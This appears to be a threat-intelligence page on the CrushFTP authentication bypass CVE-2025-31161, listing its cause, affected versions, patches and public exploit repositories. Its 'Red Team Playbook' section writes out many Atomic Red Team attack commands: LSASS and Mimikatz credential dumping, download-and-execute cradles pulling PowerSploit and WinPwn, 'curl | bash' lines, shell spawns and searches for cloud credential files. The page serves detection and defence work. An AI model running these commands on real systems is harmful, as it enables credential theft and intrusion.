CVE-2025-31161
Overview
This vulnerability is an authentication bypass rooted in a race condition and improper handling of AWS4-HMAC authorization headers within the HTTP component of CrushFTP. The flaw arises because the server initially verifies user existence without requiring a password, allowing session authentication through HMAC verification before a secondary user verification check. Additionally, malformed AWS4-HMAC headers cause an index-out-of-bounds error that prevents session cleanup, enabling unauthorized user authentication.
Vulnerability Description
CrushFTP 10 before 10.8.4 and 11 before 11.3.1 allows authentication bypass and takeover of the crushadmin account (unless a DMZ proxy instance is used), as exploited in the wild in March and April 2025, aka "Unauthenticated HTTP(S) port access." A race condition exists in the AWS4-HMAC (compatible with S3) authorization method of the HTTP component of the FTP server. The server first verifies the existence of the user by performing a call to login_user_pass() with no password requirement. This will authenticate the session through the HMAC verification process and up until the server checks for user verification once more. The vulnerability can be further stabilized, eliminating the need for successfully triggering a race condition, by sending a mangled AWS4-HMAC header. By providing only the username and a following slash (/), the server will successfully find a username, which triggers the successful anypass authentication process, but the server will fail to find the expected SignedHeaders entry, resulting in an index-out-of-bounds error that stops the code from reaching the session cleanup. Together, these issues make it trivial to authenticate as any known or guessable user (e.g., crushadmin), and can lead to a full compromise of the system by obtaining an administrative account.
Impact
An attacker can gain unauthorized administrative access without any authentication or user interaction by exploiting this flaw. This allows full compromise of the CrushFTP server, including takeover of the crushadmin account, leading to potential exposure and manipulation of sensitive file transfer data and infrastructure. The vulnerability enables attackers to bypass all access controls, resulting in complete control over the affected system and its resources.
Solution
Users must upgrade CrushFTP to version 10.8.4 or later for the 10.x branch and 11.3.1 or later for the 11.x branch as specified by the vendor. The vendor's advisory page at https://crushftp.com/crush11wiki/Wiki.jsp?page=Update#section-Update-VulnerabilityInfo provides detailed patch instructions. Employing a DMZ proxy instance can mitigate exposure until updates are applied. Following the vendor's update guidance is critical to remediate this vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Crushftp | Crushftp | All |
cpe:2.3:a:crushftp:crushftp:*:*:*:*:*:*:*:*
|
|
|
Crushftp | Crushftp | All |
cpe:2.3:a:crushftp:crushftp:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| CrushFTP 11.3.1 - Unauthenticated Authentication Bypass | İbrahimsql | remote | multiple | - | View |
GitHub PoCs (26)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Immersive-Labs-Sec/CVE-2025-31161
Proof of Concept for CVE-2025-31161 / CVE-2025-2825
|
Immersive-Labs-Sec | 48 | 6 | 2025-04-08 | View |
|
0xgh057r3c0n/CVE-2025-31161
🛡️ CVE-2025-31161 - CrushFTP User Creation Authentication Bypass Exploit
|
0xgh057r3c0n | 5 | 0 | 2025-05-23 | View |
|
c4bsec/CVE-2025-31161
|
c4bsec | 2 | 1 | 2025-10-21 | View |
|
cesarbtakeda/CVE-2025-31161
|
cesarbtakeda | 2 | 1 | 2025-10-21 | View |
|
ashrafzaryouh/CVE-2025-31161
CVE-2025-31161
|
ashrafzaryouh | 1 | 1 | 2026-04-20 | View |
|
ibrahmsql/CVE-2025-31161
CrushFTP 11.3.1 - Authentication Bypass
|
ibrahmsql | 2 | 0 | 2025-06-15 | View |
|
TX-One/CVE-2025-31161
CrushFTP CVE-2025-31161 Exploit Tool 🔓
|
TX-One | 2 | 0 | 2025-04-21 | View |
|
f4dee-backup/CVE-2025-31161
PoC CVE-2025-31161 - Authentication Bypass CrushFTP
|
f4dee-backup | 2 | 0 | 2025-09-10 | View |
|
ch3m1cl/CVE-2025-31161
|
ch3m1cl | 1 | 1 | 2025-12-07 | View |
|
0xredash/CVE-2025-31161
CVE-2025-31161
|
0xredash | 1 | 0 | 2026-04-20 | View |
|
0xBlackash/CVE-2025-31161
CVE-2025-31161
|
0xBlackash | 1 | 0 | 2026-04-20 | View |
|
SUPRAAA-1337/Nuclei_CVE-2025-31161_CVE-2025-2825
Official Nuclei template for CVE-2025-31161 (formerly CVE-2025-2825)
|
SUPRAAA-1337 | 1 | 0 | 2025-04-24 | View |
|
Dairrow/CVE-2025-31161
PoC Authentication Bypass to RCE to Exploit CVE-2025-31161
|
Dairrow | 1 | 0 | 2026-01-11 | View |
|
PoC
|
- | 0 | 0 | - | View |
|
rufflabs/ludus_crushftp_cve-2025-31161_sim
|
rufflabs | 0 | 0 | 2026-06-29 | View |
|
rufflabs/ludus_crushftp_cve-2025-31161
|
rufflabs | 0 | 0 | 2026-06-29 | View |
|
rufflabs/crushftp_cve-2025-31161
|
rufflabs | 0 | 0 | 2026-06-29 | View |
|
tdawg506/CVE-2025-31161
Scans target to see if its vulnerable to CVE-2025-31161
|
tdawg506 | 0 | 0 | 2025-09-26 | View |
|
Teexo/CVE-2025-31161
Scans target to see if its vulnerable to CVE-2025-31161
|
Teexo | 0 | 0 | 2025-09-26 | View |
|
SUPRAAA-1337/CVE-2025-31161_exploit
CVE-2025-31161 python exploit
|
SUPRAAA-1337 | 0 | 0 | 2025-04-24 | View |
|
Drelinss/Blackash-CVE-2025-31161
CVE-2025-31161
|
Drelinss | 0 | 0 | 2025-06-07 | View |
|
r0otk3r/CVE-2025-31161
|
r0otk3r | 0 | 0 | 2025-07-19 | View |
|
acan0007/CVE-2025-31161
Authentication bypass vulnerability in versions of the CrushFTP server.
|
acan0007 | 0 | 0 | 2025-09-15 | View |
|
0xDTC/CrushFTP-auth-bypass-CVE-2025-31161
|
0xDTC | 0 | 0 | 2025-09-27 | View |
|
eserror/CVE-2025-31161
Wrote an exploit in Go for CVE-2025-31161 affecting crushFTP.
|
eserror | 0 | 0 | 2026-02-23 | View |
|
Shisones/CVE-2025-31161
A proof of concept for CVE-2025-31161, using mangled HTTP header to perform unauthenticated impersonation of any user in...
|
Shisones | 0 | 0 | 2026-02-20 | View |
Threat Feed
34 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Active exploitation confirmed with 138 sighting(s)
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Deployed role: Linux · Web Server
Kill chain derived from the ML classifier. Pick the target OS above to see the OS-specific path and matching playbook.
Attack Vectors ML
MITRE ATT&CK Techniques (10)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
124 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1' -UseBasicParsing) -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
"#{dumpert_exe}"
#{xordump_exe} -out #{output_file} -x 0x41
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
"#{venv_path}\Scripts\pypykatz" live lsa
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
Import-Module "#{mimpath}"
Invoke-Mimikatz -DumpCreds
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
powershell.exe -e #{obfuscated_code}
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Invoke-Expression "#{adrecon_path}"
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
csvde -f users.csv -r "(&(objectClass=user)(objectCategory=person))" -l "DN,sAMAccountName,userPrincipalName,mail,displayName,description,memberOf"
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
net user administrator /domain
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
net user /domain
net group /domain
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
query user /SERVER:#{computer_name}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
Get-ADComputer #{hostname} -Properties *
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
News (1)
Mentions (50)
0 mentions from 0 sources in the last 7 days BuzzFactor 0 / 100
-
advisory vulnerability.circl.lu 2026-10-21 09:03 UTCOpen source
-
social bsky.app @r-netsec.bsky.social 2026-09-28 00:39 UTCDetecting Exploitation of CrushFTP Vulnerability (CVE-2025-31161) With PacketSmith Yara Detection Module - Using track_state and flow_stateOpen source
-
code github.com rufflabs 2026-06-29 21:41 UTCrufflabs/ludus_crushftp_cve-2025-31161_simOpen source
-
code github.com rufflabs 2026-06-29 20:51 UTCrufflabs/ludus_crushftp_cve-2025-31161Open source
-
code github.com rufflabs 2026-06-29 20:41 UTCrufflabs/crushftp_cve-2025-31161Open source
-
social bsky.app @cyberhub.blog 2026-05-18 02:37 UTC📌 Detecting Exploitation of CrushFTP Vulnerability (CVE-2025-31161) With PacketSmith Yara Detection Mo... https://www.cyberhub.blog/article/25912-detecting-exploitation-of-crushftp-vulnerability-cve-2025-31161-with-packetsmith-yara-detecti…Open source
-
social bsky.app @r-netsec.bsky.social 2026-05-14 19:39 UTCDetecting Exploitation of CrushFTP Vulnerability (CVE-2025-31161) With PacketSmith Yara Detection Module - Using track_state and flow_stateOpen source
-
social bsky.app @r-blueteamsec.bsky.social 2026-05-14 16:24 UTCDetecting Exploitation of CrushFTP Vulnerability (CVE-2025-31161) With PacketSmith Yara Detection Module - Using track_state and flow_stateOpen source
-
social bsky.app @r-netsec-bot.bsky.social 2026-05-14 16:13 UTCDetecting Exploitation of CrushFTP Vulnerability (CVE-2025-31161) With PacketSmith Yara Detection Module - Using track_state and flow_stateOpen source
-
code github.com ashrafzaryouh 2026-04-20 13:27 UTCashrafzaryouh/CVE-2025-31161Open source
-
social bsky.app @hacker.at.thenote.app 2026-03-04 10:18 UTCBruteforce Scans for CrushFTP , (Tue, Mar 3rd) CrushFTP is a Java-based open source file transfer system. It is offered for multiple operating systems. If you run a CrushFTP instance, you may remember that the software has had some serious…Open source
-
code github.com eserror 2026-02-23 00:42 UTCeserror/CVE-2025-31161Open source
-
code github.com Shisones 2026-02-20 13:40 UTCShisones/CVE-2025-31161Open source
-
social bsky.app @blackhatnews.tokyo 2026-02-07 02:11 UTCCISA、CrushFTPの脆弱性が実環境で悪用されていると警告 米国の最高サイバーセキュリティ機関は、ファイル転送ソリューション提供企業CrushFTPの製品における重大な脆弱性が実環境で悪用されていることを確認した。 認証バイパスの脆弱性CVE-2025-31161は、4月7日にサイバーセキュリティ・インフラストラクチャ安全保障庁(CISA)の既知の悪用済み脆弱性(KEV)カタログに追加された。 セキュリティ勧告は、「この種の脆弱性は悪意あるサイバー攻撃者にとって頻繁に…Open source
-
code github.com Dairrow 2026-01-11 12:59 UTCDairrow/CVE-2025-31161Open source
-
